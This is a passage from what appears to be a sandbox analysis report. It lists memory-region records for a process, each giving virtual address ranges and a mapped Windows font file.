"c:\\windows\\fonts\\goudosi.ttf") Region: id = 1114 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudysto.ttf" filename = "\\Windows\\Fonts\\GOUDYSTO.TTF" (normalized: "c:\\windows\\fonts\\goudysto.ttf") Region: id = 1115 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "goudysto.ttf" filename = "\\Windows\\Fonts\\GOUDYSTO.TTF" (normalized: "c:\\windows\\fonts\\goudysto.ttf") Region: id = 1116 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harlowsi.ttf" filename = "\\Windows\\Fonts\\HARLOWSI.TTF" (normalized: "c:\\windows\\fonts\\harlowsi.ttf") Region: id = 1117 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harlowsi.ttf" filename = "\\Windows\\Fonts\\HARLOWSI.TTF" (normalized: "c:\\windows\\fonts\\harlowsi.ttf") Region: id = 1118 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harngton.ttf" filename = "\\Windows\\Fonts\\HARNGTON.TTF" (normalized: "c:\\windows\\fonts\\harngton.ttf") Region: id = 1119 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "harngton.ttf" filename = "\\Windows\\Fonts\\HARNGTON.TTF" (normalized: "c:\\windows\\fonts\\harngton.ttf") Region: id = 1120 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hatten.ttf" filename = "\\Windows\\Fonts\\HATTEN.TTF" (normalized: "c:\\windows\\fonts\\hatten.ttf") Region: id = 1121 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hatten.ttf" filename = "\\Windows\\Fonts\\HATTEN.TTF" (normalized: "c:\\windows\\fonts\\hatten.ttf") Region: id = 1122 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowert.ttf" filename = "\\Windows\\Fonts\\HTOWERT.TTF" (normalized: "c:\\windows\\fonts\\htowert.ttf") Region: id = 1123 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowert.ttf" filename = "\\Windows\\Fonts\\HTOWERT.TTF" (normalized: "c:\\windows\\fonts\\htowert.ttf") Region: id = 1124 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowerti.ttf" filename = "\\Windows\\Fonts\\HTOWERTI.TTF" (normalized: "c:\\windows\\fonts\\htowerti.ttf") Region: id = 1125 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "htowerti.ttf" filename = "\\Windows\\Fonts\\HTOWERTI.TTF" (normalized: "c:\\windows\\fonts\\htowerti.ttf") Region: id = 1126 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imprisha.ttf" filename = "\\Windows\\Fonts\\IMPRISHA.TTF" (normalized: "c:\\windows\\fonts\\imprisha.ttf") Region: id = 1127 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imprisha.ttf" filename = "\\Windows\\Fonts\\IMPRISHA.TTF" (normalized: "c:\\windows\\fonts\\imprisha.ttf") Region: id = 1128 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "infroman.ttf" filename = "\\Windows\\Fonts\\INFROMAN.TTF" (normalized: "c:\\windows\\fonts\\infroman.ttf") Region: id = 1129 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "infroman.ttf" filename = "\\Windows\\Fonts\\INFROMAN.TTF" (normalized: "c:\\windows\\fonts\\infroman.ttf") Region: id = 1130 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcblkad.ttf" filename = "\\Windows\\Fonts\\ITCBLKAD.TTF" (normalized: "c:\\windows\\fonts\\itcblkad.ttf") Region: id = 1131 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcblkad.ttf" filename = "\\Windows\\Fonts\\ITCBLKAD.TTF" (normalized: "c:\\windows\\fonts\\itcblkad.ttf") Region: id = 1132 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcedscr.ttf" filename = "\\Windows\\Fonts\\ITCEDSCR.TTF" (normalized: "c:\\windows\\fonts\\itcedscr.ttf") Region: id = 1133 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itcedscr.ttf" filename = "\\Windows\\Fonts\\ITCEDSCR.TTF" (normalized: "c:\\windows\\fonts\\itcedscr.ttf") Region: id = 1134 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itckrist.ttf" filename = "\\Windows\\Fonts\\ITCKRIST.TTF" (normalized: "c:\\windows\\fonts\\itckrist.ttf") Region: id = 1135 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "itckrist.ttf" filename = "\\Windows\\Fonts\\ITCKRIST.TTF" (normalized: "c:\\windows\\fonts\\itckrist.ttf") Region: id = 1136 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "jokerman.ttf" filename = "\\Windows\\Fonts\\JOKERMAN.TTF" (normalized: "c:\\windows\\fonts\\jokerman.ttf") Region: id = 1137 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "jokerman.ttf" filename = "\\Windows\\Fonts\\JOKERMAN.TTF" (normalized: "c:\\windows\\fonts\\jokerman.ttf") Region: id = 1138 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "juice___.ttf" filename = "\\Windows\\Fonts\\JUICE___.TTF" (normalized: "c:\\windows\\fonts\\juice___.ttf") Region: id = 1139 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "juice___.ttf" filename = "\\Windows\\Fonts\\JUICE___.TTF" (normalized: "c:\\windows\\fonts\\juice___.ttf") Region: id = 1140 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kunstler.ttf" filename = "\\Windows\\Fonts\\KUNSTLER.TTF" (normalized: "c:\\windows\\fonts\\kunstler.ttf") Region: id = 1141 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kunstler.ttf" filename = "\\Windows\\Fonts\\KUNSTLER.TTF" (normalized: "c:\\windows\\fonts\\kunstler.ttf") Region: id = 1142 start_va = 0x2d0000 end_va = 0x2dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latinwd.ttf" filename = "\\Windows\\Fonts\\LATINWD.TTF" (normalized: "c:\\windows\\fonts\\latinwd.ttf") Region: id = 1143 start_va = 0x2d0000 end_va = 0x2dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "latinwd.ttf" filename = "\\Windows\\Fonts\\LATINWD.TTF" (normalized: "c:\\windows\\fonts\\latinwd.ttf") Region: id = 1144 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrite.ttf" filename = "\\Windows\\Fonts\\LBRITE.TTF" (normalized: "c:\\windows\\fonts\\lbrite.ttf") Region: id = 1145 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrite.ttf" filename = "\\Windows\\Fonts\\LBRITE.TTF" (normalized: "c:\\windows\\fonts\\lbrite.ttf") Region: id = 1146 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrited.ttf" filename = "\\Windows\\Fonts\\LBRITED.TTF" (normalized: "c:\\windows\\fonts\\lbrited.ttf") Region: id = 1147 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbrited.ttf" filename = "\\Windows\\Fonts\\LBRITED.TTF" (normalized: "c:\\windows\\fonts\\lbrited.ttf") Region: id = 1148 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritedi.ttf" filename = "\\Windows\\Fonts\\LBRITEDI.TTF" (normalized: "c:\\windows\\fonts\\lbritedi.ttf") Region: id = 1149 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritedi.ttf" filename = "\\Windows\\Fonts\\LBRITEDI.TTF" (normalized: "c:\\windows\\fonts\\lbritedi.ttf") Region: id = 1150 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritei.ttf" filename = "\\Windows\\Fonts\\LBRITEI.TTF" (normalized: "c:\\windows\\fonts\\lbritei.ttf") Region: id = 1151 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lbritei.ttf" filename = "\\Windows\\Fonts\\LBRITEI.TTF" (normalized: "c:\\windows\\fonts\\lbritei.ttf") Region: id = 1152 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lcallig.ttf" filename = "\\Windows\\Fonts\\LCALLIG.TTF" (normalized: "c:\\windows\\fonts\\lcallig.ttf") Region: id = 1153 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lcallig.ttf" filename = "\\Windows\\Fonts\\LCALLIG.TTF" (normalized: "c:\\windows\\fonts\\lcallig.ttf") Region: id = 1154 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfax.ttf" filename = "\\Windows\\Fonts\\LFAX.TTF" (normalized: "c:\\windows\\fonts\\lfax.ttf") Region: id = 1155 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfax.ttf" filename = "\\Windows\\Fonts\\LFAX.TTF" (normalized: "c:\\windows\\fonts\\lfax.ttf") Region: id = 1156 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxd.ttf" filename = "\\Windows\\Fonts\\LFAXD.TTF" (normalized: "c:\\windows\\fonts\\lfaxd.ttf") Region: id = 1157 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxd.ttf" filename = "\\Windows\\Fonts\\LFAXD.TTF" (normalized: "c:\\windows\\fonts\\lfaxd.ttf") Region: id = 1158 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxdi.ttf" filename = "\\Windows\\Fonts\\LFAXDI.TTF" (normalized: "c:\\windows\\fonts\\lfaxdi.ttf") Region: id = 1159 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxdi.ttf" filename = "\\Windows\\Fonts\\LFAXDI.TTF" (normalized: "c:\\windows\\fonts\\lfaxdi.ttf") Region: id = 1160 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxi.ttf" filename = "\\Windows\\Fonts\\LFAXI.TTF" (normalized: "c:\\windows\\fonts\\lfaxi.ttf") Region: id = 1161 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lfaxi.ttf" filename = "\\Windows\\Fonts\\LFAXI.TTF" (normalized: "c:\\windows\\fonts\\lfaxi.ttf") Region: id = 1162 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lhandw.ttf" filename = "\\Windows\\Fonts\\LHANDW.TTF" (normalized: "c:\\windows\\fonts\\lhandw.ttf") Region: id = 1163 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lhandw.ttf" filename = "\\Windows\\Fonts\\LHANDW.TTF" (normalized: "c:\\windows\\fonts\\lhandw.ttf") Region: id = 1164 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsans.ttf" filename = "\\Windows\\Fonts\\LSANS.TTF" (normalized: "c:\\windows\\fonts\\lsans.ttf") Region: id = 1165 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsans.ttf" filename = "\\Windows\\Fonts\\LSANS.TTF" (normalized: "c:\\windows\\fonts\\lsans.ttf") Region: id = 1166 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansd.ttf" filename = "\\Windows\\Fonts\\LSANSD.TTF" (normalized: "c:\\windows\\fonts\\lsansd.ttf") Region: id = 1167 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansd.ttf" filename = "\\Windows\\Fonts\\LSANSD.TTF" (normalized: "c:\\windows\\fonts\\lsansd.ttf") Region: id = 1168 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansdi.ttf" filename = "\\Windows\\Fonts\\LSANSDI.TTF" (normalized: "c:\\windows\\fonts\\lsansdi.ttf") Region: id = 1169 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansdi.ttf" filename = "\\Windows\\Fonts\\LSANSDI.TTF" (normalized: "c:\\windows\\fonts\\lsansdi.ttf") Region: id = 1170 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansi.ttf" filename = "\\Windows\\Fonts\\LSANSI.TTF" (normalized: "c:\\windows\\fonts\\lsansi.ttf") Region: id = 1171 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsansi.ttf" filename = "\\Windows\\Fonts\\LSANSI.TTF" (normalized: "c:\\windows\\fonts\\lsansi.ttf") Region: id = 1172 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltype.ttf" filename = "\\Windows\\Fonts\\LTYPE.TTF" (normalized: "c:\\windows\\fonts\\ltype.ttf") Region: id = 1173 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltype.ttf" filename = "\\Windows\\Fonts\\LTYPE.TTF" (normalized: "c:\\windows\\fonts\\ltype.ttf") Region: id = 1174 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeb.ttf" filename = "\\Windows\\Fonts\\LTYPEB.TTF" (normalized: "c:\\windows\\fonts\\ltypeb.ttf") Region: id = 1175 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeb.ttf" filename = "\\Windows\\Fonts\\LTYPEB.TTF" (normalized: "c:\\windows\\fonts\\ltypeb.ttf") Region: id = 1176 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypebo.ttf" filename = "\\Windows\\Fonts\\LTYPEBO.TTF" (normalized: "c:\\windows\\fonts\\ltypebo.ttf") Region: id = 1177 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypebo.ttf" filename = "\\Windows\\Fonts\\LTYPEBO.TTF" (normalized: "c:\\windows\\fonts\\ltypebo.ttf") Region: id = 1178 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeo.ttf" filename = "\\Windows\\Fonts\\LTYPEO.TTF" (normalized: "c:\\windows\\fonts\\ltypeo.ttf") Region: id = 1179 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ltypeo.ttf" filename = "\\Windows\\Fonts\\LTYPEO.TTF" (normalized: "c:\\windows\\fonts\\ltypeo.ttf") Region: id = 1180 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "magnetob.ttf" filename = "\\Windows\\Fonts\\MAGNETOB.TTF" (normalized: "c:\\windows\\fonts\\magnetob.ttf") Region: id = 1181 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "magnetob.ttf" filename = "\\Windows\\Fonts\\MAGNETOB.TTF" (normalized: "c:\\windows\\fonts\\magnetob.ttf") Region: id = 1182 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maian.ttf" filename = "\\Windows\\Fonts\\MAIAN.TTF" (normalized: "c:\\windows\\fonts\\maian.ttf") Region: id = 1183 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maian.ttf" filename = "\\Windows\\Fonts\\MAIAN.TTF" (normalized: "c:\\windows\\fonts\\maian.ttf") Region: id = 1184 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maturasc.ttf" filename = "\\Windows\\Fonts\\MATURASC.TTF" (normalized: "c:\\windows\\fonts\\maturasc.ttf") Region: id = 1185 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "maturasc.ttf" filename = "\\Windows\\Fonts\\MATURASC.TTF" (normalized: "c:\\windows\\fonts\\maturasc.ttf") Region: id = 1186 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mistral.ttf" filename = "\\Windows\\Fonts\\MISTRAL.TTF" (normalized: "c:\\windows\\fonts\\mistral.ttf") Region: id = 1187 start_va = 0x3f0000 end_va = 0x41efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mistral.ttf" filename = "\\Windows\\Fonts\\MISTRAL.TTF" (normalized: "c:\\windows\\fonts\\mistral.ttf") Region: id = 1188 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mod20.ttf" filename = "\\Windows\\Fonts\\MOD20.TTF" (normalized: "c:\\windows\\fonts\\mod20.ttf") Region: id = 1189 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mod20.ttf" filename = "\\Windows\\Fonts\\MOD20.TTF" (normalized: "c:\\windows\\fonts\\mod20.ttf") Region: id = 1190 start_va = 0x7cf0000 end_va = 0x9140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1191 start_va = 0x7cf0000 end_va = 0x9140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1192 start_va = 0x7cf0000 end_va = 0x9140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\MSJH.TTC" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 1193 start_va = 0x4f90000 end_va = 0x5d3dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1194 start_va = 0x4f90000 end_va = 0x5d3dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1195 start_va = 0x4f90000 end_va = 0x5d3dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\MSJHBD.TTC" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 1196 start_va = 0x4a0000 end_va = 0x4d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighub.ttf" filename = "\\Windows\\Fonts\\MSUIGHUB.TTF" (normalized: "c:\\windows\\fonts\\msuighub.ttf") Region: id = 1197 start_va = 0x4a0000 end_va = 0x4d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighub.ttf" filename = "\\Windows\\Fonts\\MSUIGHUB.TTF" (normalized: "c:\\windows\\fonts\\msuighub.ttf") Region: id = 1198 start_va = 0x7cf0000 end_va = 0x917bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1199 start_va = 0x7cf0000 end_va = 0x917bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1200 start_va = 0x7cf0000 end_va = 0x917bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\MSYH.TTC" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 1201 start_va = 0x4f90000 end_va = 0x5d47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1202 start_va = 0x4f90000 end_va = 0x5d47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1203 start_va = 0x4f90000 end_va = 0x5d47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\MSYHBD.TTC" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 1204 start_va = 0x3f0000 end_va = 0x416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtcorsva.ttf" filename = "\\Windows\\Fonts\\MTCORSVA.TTF" (normalized: "c:\\windows\\fonts\\mtcorsva.ttf") Region: id = 1205 start_va = 0x3f0000 end_va = 0x416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtcorsva.ttf" filename = "\\Windows\\Fonts\\MTCORSVA.TTF" (normalized: "c:\\windows\\fonts\\mtcorsva.ttf") Region: id = 1206 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niageng.ttf" filename = "\\Windows\\Fonts\\NIAGENG.TTF" (normalized: "c:\\windows\\fonts\\niageng.ttf") Region: id = 1207 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niageng.ttf" filename = "\\Windows\\Fonts\\NIAGENG.TTF" (normalized: "c:\\windows\\fonts\\niageng.ttf") Region: id = 1208 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niagsol.ttf" filename = "\\Windows\\Fonts\\NIAGSOL.TTF" (normalized: "c:\\windows\\fonts\\niagsol.ttf") Region: id = 1209 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "niagsol.ttf" filename = "\\Windows\\Fonts\\NIAGSOL.TTF" (normalized: "c:\\windows\\fonts\\niagsol.ttf") Region: id = 1210 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ocraext.ttf" filename = "\\Windows\\Fonts\\OCRAEXT.TTF" (normalized: "c:\\windows\\fonts\\ocraext.ttf") Region: id = 1211 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ocraext.ttf" filename = "\\Windows\\Fonts\\OCRAEXT.TTF" (normalized: "c:\\windows\\fonts\\ocraext.ttf") Region: id = 1212 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oldengl.ttf" filename = "\\Windows\\Fonts\\OLDENGL.TTF" (normalized: "c:\\windows\\fonts\\oldengl.ttf") Region: id = 1213 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oldengl.ttf" filename = "\\Windows\\Fonts\\OLDENGL.TTF" (normalized: "c:\\windows\\fonts\\oldengl.ttf") Region: id = 1214 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "onyx.ttf" filename = "\\Windows\\Fonts\\ONYX.TTF" (normalized: "c:\\windows\\fonts\\onyx.ttf") Region: id = 1215 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "onyx.ttf" filename = "\\Windows\\Fonts\\ONYX.TTF" (normalized: "c:\\windows\\fonts\\onyx.ttf") Region: id = 1216 start_va = 0x2d0000 end_va = 0x2d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "outlook.ttf" filename = "\\Windows\\Fonts\\OUTLOOK.TTF" (normalized: "c:\\windows\\fonts\\outlook.ttf") Region: id = 1217 start_va = 0x2d0000 end_va = 0x2d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "outlook.ttf" filename = "\\Windows\\Fonts\\OUTLOOK.TTF" (normalized: "c:\\windows\\fonts\\outlook.ttf") Region: id = 1218 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palscri.ttf" filename = "\\Windows\\Fonts\\PALSCRI.TTF" (normalized: "c:\\windows\\fonts\\palscri.ttf") Region: id = 1219 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palscri.ttf" filename = "\\Windows\\Fonts\\PALSCRI.TTF" (normalized: "c:\\windows\\fonts\\palscri.ttf") Region: id = 1220 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "papyrus.ttf" filename = "\\Windows\\Fonts\\PAPYRUS.TTF" (normalized: "c:\\windows\\fonts\\papyrus.ttf") Region: id = 1221 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "papyrus.ttf" filename = "\\Windows\\Fonts\\PAPYRUS.TTF" (normalized: "c:\\windows\\fonts\\papyrus.ttf") Region: id = 1222 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "parchm.ttf" filename = "\\Windows\\Fonts\\PARCHM.TTF" (normalized: "c:\\windows\\fonts\\parchm.ttf") Region: id = 1223 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "parchm.ttf" filename = "\\Windows\\Fonts\\PARCHM.TTF" (normalized: "c:\\windows\\fonts\\parchm.ttf") Region: id = 1224 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "per_____.ttf" filename = "\\Windows\\Fonts\\PER_____.TTF" (normalized: "c:\\windows\\fonts\\per_____.ttf") Region: id = 1225 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "per_____.ttf" filename = "\\Windows\\Fonts\\PER_____.TTF" (normalized: "c:\\windows\\fonts\\per_____.ttf") Region: id = 1226 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perb____.ttf" filename = "\\Windows\\Fonts\\PERB____.TTF" (normalized: "c:\\windows\\fonts\\perb____.ttf") Region: id = 1227 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perb____.ttf" filename = "\\Windows\\Fonts\\PERB____.TTF" (normalized: "c:\\windows\\fonts\\perb____.ttf") Region: id = 1228 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perbi___.ttf" filename = "\\Windows\\Fonts\\PERBI___.TTF" (normalized: "c:\\windows\\fonts\\perbi___.ttf") Region: id = 1229 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "perbi___.ttf" filename = "\\Windows\\Fonts\\PERBI___.TTF" (normalized: "c:\\windows\\fonts\\perbi___.ttf") Region: id = 1230 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peri____.ttf" filename = "\\Windows\\Fonts\\PERI____.TTF" (normalized: "c:\\windows\\fonts\\peri____.ttf") Region: id = 1231 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peri____.ttf" filename = "\\Windows\\Fonts\\PERI____.TTF" (normalized: "c:\\windows\\fonts\\peri____.ttf") Region: id = 1232 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertibd.ttf" filename = "\\Windows\\Fonts\\PERTIBD.TTF" (normalized: 